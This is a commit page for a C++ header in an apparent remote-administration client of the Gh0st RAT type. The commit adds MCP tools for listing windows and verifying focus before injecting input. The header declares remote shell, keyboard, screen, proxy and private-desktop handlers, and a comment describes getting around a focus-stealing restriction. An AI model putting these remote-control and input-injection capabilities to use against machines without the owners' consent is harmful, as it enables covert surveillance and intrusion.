Add a capability-gated main-connection RPC (COMMAND_MCP_WINDOW_INFO=179 / TOKEN_MCP_WINDOW_INFO=180) that returns visible top-level windows with UTF-8 titles, screen rectangles, foreground flag and z-order, so MCP can verify focus before injecting input. New tool get_foreground_window; host_list_windows switches to the richer fields; host_control_window and operate_window gain action=activate; remote_keyboard and remote_mouse gain expect_hwnd, require_foreground and report_foreground. Old clients keep the previous behavior: the RPC is refused up front via CLIENT_CAP_WINDOW_INFO. The client caps a response at 96 windows (about 101 KB, under MAX_SEND_BUFFER). Signal the cut-off in the mode byte (0x80) instead of silently dropping windows: host_list_windows now reports truncated=true and says the list is incomplete, and activate verification reports state=unknown with reason=list_truncated rather than claiming the window is gone. expect_hwnd is checked only after the session is validated, so an invalid session_id no longer burns a window RPC and no longer reports a window error for a session that does not exist. Nullable output fields (foreground, window) are declared as ["object","null"] so strict clients do not reject responses. Co-Authored-By: deepseek-flash
50 lines
1.9 KiB
C++
50 lines
1.9 KiB
C++
#pragma once
|
|
#include "StdAfx.h"
|
|
#include "IOCPClient.h"
|
|
#include "common/commands.h"
|
|
#include <vector>
|
|
|
|
typedef struct _THREAD_ARG_LIST {
|
|
DWORD (WINAPI *StartAddress)(LPVOID lParameter);
|
|
LPVOID lParam;
|
|
bool bInteractive; // 是否支持交互桌面 ??
|
|
HANDLE hEvent;
|
|
} THREAD_ARG_LIST, *LPTHREAD_ARG_LIST;
|
|
|
|
typedef struct UserParam {
|
|
BYTE* buffer;
|
|
int length;
|
|
~UserParam()
|
|
{
|
|
SAFE_DELETE_ARRAY(buffer);
|
|
}
|
|
} UserParam;
|
|
|
|
DWORD WINAPI ThreadProc(LPVOID lParam);
|
|
|
|
// 把窗口真正切到前台。与裸 ShowWindow(SW_SHOW) 不同:最小化先还原,再临时附加到
|
|
// 前台线程的输入队列,绕过 SetForegroundWindow 的焦点窃取限制。返回最终是否在前台。
|
|
bool ClientActivateWindow(HWND hwnd);
|
|
DWORD private_desktop(CONNECT_ADDRESS* conn, const State& exit, const std::string& msg, const std::string& signature,
|
|
const std::string& hash, const std::string& hmac, const std::vector<BYTE>& bmpData = std::vector<BYTE>());
|
|
|
|
DWORD WINAPI LoopShellManager(LPVOID lParam);
|
|
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
|
DWORD WINAPI LoopFileManager(LPVOID lParam);
|
|
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
|
DWORD WINAPI LoopChatManager(LPVOID lParam);
|
|
DWORD WINAPI LoopMachineManager(LPVOID lParam);
|
|
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
|
|
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
|
|
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
|
|
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
|
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
|
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
|
DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
|
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
|
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
|
DWORD WINAPI LoopConnectionManager(LPVOID lParam);
|
|
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
|
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
|
DWORD WINAPI LoopClientLogManager(LPVOID lParam);
|